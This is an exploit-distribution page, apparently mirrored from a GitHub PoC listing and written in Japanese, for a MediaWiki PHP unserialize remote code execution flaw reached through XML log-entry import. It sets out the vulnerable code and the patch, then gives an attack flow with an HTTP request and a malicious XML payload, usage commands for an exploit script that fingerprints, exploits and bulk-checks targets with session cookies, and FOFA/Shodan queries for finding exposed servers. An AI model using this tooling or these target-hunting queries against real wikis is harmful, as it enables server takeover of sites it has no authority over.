## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHINTHINK-CVE-2026-58025
   
### CVE-2026-58025 — ログエントリインポート経由のMediaWiki PHPデシリアライゼーションRCE
#### WikiImporter → LogEntryBase::extractParams() → unserialize() ユーザー制御のlog_params → RCE
* * *
## 概要
**CVE-2026-58025** は、**MediaWiki** （ウィキメディア財団）における、信頼されないデータのデシリアライゼーションに関する重大な（CVSS 9.8）脆弱性です。`LogEntryBase::extractParams()` メソッドは、インスタンス化できるPHPクラスを制限することなく、ユーザー制御のログエントリパラメータに対して `unserialize()` を呼び出していました。`importupload` または `import` 権限（デフォルト: `sysop` グループ）を持つ攻撃者は、`<params>` フィールドにシリアライズされたPHPオブジェクトを含む悪意のあるXMLインポートファイルを作成し、任意のオブジェクトのインスタンス化を引き起こし、ガジェットチェーンを介してリモートコード実行（RCE）に至る可能性があります。
### 影響を受けるバージョン
バージョン系統| 脆弱性あり| 修正済み
---|---|---
1.43.x| < 1.43.9| 1.43.9
1.44.x| < 1.44.6| 1.44.6
1.45.x| < 1.45.4| 1.45.4
1.46.x| < 1.46.0| 1.46.0
> **要件:** `import` または `importupload` 権限（デフォルト: `sysop` グループ）が必要です。攻撃者はXMLファイルをMediaWikiのSpecial:Importにアップロードまたはインポートできなければなりません。
* * *
## 脆弱性の仕組み
### 根本原因
`includes/Logging/LogEntryBase.php` の `LogEntryBase::extractParams()` は、クラス制限なしで `log_params` ブロブに対して直接 `unserialize()` を呼び出していました：
root@kitploit:~
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
return unserialize( $blob ); // ← user-controlled, no allowed_classes restriction
}
このメソッドは複数の場所から呼び出されます：
ファイル| 行| コンテキスト
---|---|---
`includes/Logging/DatabaseLogEntry.php`| 187| `getParameters()` — データベースからログエントリを読み取る
`includes/RecentChanges/RecentChange.php`| 781| `parseParams()` — 最近の更新を解析する
`includes/Import/WikiRevision.php`| 638| `importLogItem()` — XMLからログエントリをインポートする
`maintenance/purgeChangedFiles.php`| 182| メンテナンススクリプトのログ解析
`tests/phpunit/maintenance/DumpAsserter.php`| 541| テストヘルパー
### 攻撃ベクトル
主な攻撃ベクトルは、`Special:Import` を介した **XMLインポート** です：
1. （`import`/`importupload` 権限を持つ）攻撃者が悪意のあるMediaWiki XMLエクスポートファイルを作成する
2. XMLには、PHPシリアライズペイロードを含む `<params>` フィールドを持つ `<logitem>` 要素が含まれる
3. `WikiImporter::processLogItem()` → `WikiRevision::importLogItem()` がログエントリを保存する
4. ログエントリが後で読み取られる際（`DatabaseLogEntry::getParameters()`、`RecentChange::parseParams()`、またはログ表示経由）、`LogEntryBase::extractParams()` が攻撃者制御のブロブに対して `unserialize()` を呼び出す
5. 適切なガジェットチェーンが存在する場合（インストール済みの拡張機能/ベンダーライブラリ経由）、RCEにつながる
### 攻撃フロー
root@kitploit:~
POST /wiki/Special:Import
Content-Type: multipart/form-data
action=submit
xmlimportfile=<malicious.xml>
source=file
catname=
prefix=
loginComment=
malicious.xml:
<mediawiki ...>
<logitem>
<type>test</type>
<action>test</action>
<params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
</logitem>
</mediawiki>
→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data
### シリアライズペイロードの形式
XMLインポートの `<params>` フィールドは、標準的なPHPシリアライズ文字列を受け入れます。安全な（無害な）エントリ：
root@kitploit:~
a:1:{s:3:"foo";s:3:"bar";}
悪意のあるオブジェクトを含むエントリ：
root@kitploit:~
a:1:{s:3:"foo";O:8:"stdClass":0:{}}
`allowed_classes` 制限なしで `unserialize()` が呼び出されると、オブジェクトは完全にインスタンス化されます。利用可能なガジェットチェーン（例: Composerでインストールされたライブラリ由来）がある場合、これはRCEになります。
* * *
## 修正内容
**コミット:** `60f154d4618063ac4d5832285fc246b8fcd7c72c` **作成者:** Bartosz Dziewoński **日付:** 2026-06-29
この修正は多層的な防御を実装しています：
### 1\. `allowed_classes` による `unserialize()` の制限
root@kitploit:~
// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
$attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
$allowedClasses = $attribute[$logType];
} else {
$allowedClasses = false; // no classes allowed
}
$result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
if ( $result !== false && !is_array( $result ) ) {
return false;
}
return $result;
}
### 2\. 新しい `containsUnsafeParams()` チェック
`__PHP_Incomplete_Class` インスタンス（`allowed_classes` によってブロックされたオブジェクト）を検出します：
root@kitploit:~
public static function containsUnsafeParams( array $params ): bool {
$result = false;
$params = [ $params ];
array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
if ( $val instanceof \__PHP_Incomplete_Class ) {
$result = true;
}
} );
return $result;
}
### 3\. インポートゲート — `WikiImporter::processLogItem()`
新しい `logentryimport` 権限チェック（デフォルトでは誰にも付与されません）：
root@kitploit:~
private function processLogItem( $logInfo ) {
if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
$this->notice( 'permissionserrorstext-withaction-noreason', ... );
return false;
}
// ...
}
### 4\. `WikiRevision::importLogItem()` — 安全でないパラメータの拒否
root@kitploit:~
if ( LogEntryBase::containsUnsafeParams(
LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
return false;
}
### 5\. `UnsafeLogFormatter` — 既存の悪意のあるエントリの安全な表示
新しい `UnsafeLogFormatter` クラスは、ブロックされたオブジェクトを含むエントリの通常のフォーマッタを置き換え、危険なデータのフォーマットを試みる代わりにプレースホルダーメッセージを表示します。
### 6\. 関連する修正: CVE-2026-58037
同じ調査（T422244）では、`LogFormatter` の `raw` パラメータタイプがユーザー制御のログパラメータからの生のHTML出力を許可していることも判明しました。これは、`Message::rawParam()` を `Message::plaintextParam()` に変更する関連コミットで修正されました。
* * *
## PoC
同梱の `exploit.py` は、ログエントリパラメータにシリアライズされたPHPオブジェクトを含む悪意のあるMediaWiki XMLインポートファイルを生成します。また、MediaWikiインスタンスのフィンガープリント取得や、API経由でのインポート試行も可能です。
root@kitploit:~
# Generate malicious XML payload
python exploit.py --generate --output payload.xml
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"
* * *
## インストール
root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests
## 使用方法
root@kitploit:~
# Generate malicious XML import file
python exploit.py --generate --output payload.xml
# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check
# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"
# Bulk check
python exploit.py -f targets.txt --check -o results.txt
* * *
## FOFA / Shodan
root@kitploit:~
FOFA: body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"
* * *
## 参考情報
* NVD CVE-2026-58025
* Phabricator T422244
* 修正コミット（1.43ブランチ） — `SECURITY: Safely unserialize log entry parameters`
* 関連修正: CVE-2026-58037 — `LogFormatter: 'raw' parameter format is no longer raw HTML`
* MediaWiki 1.43.9 リリースノート
* OSV CVE-2026-58025
* CWE-502: 信頼されないデータのデシリアライゼーション
* CWE-94: コード生成の制御不備
* * *
## 免責事項
このエクスプロイトは、教育および許可されたセキュリティ研究のみを目的として提供されています。所有者から明示的な許可を得ずにシステムに対して使用しないでください。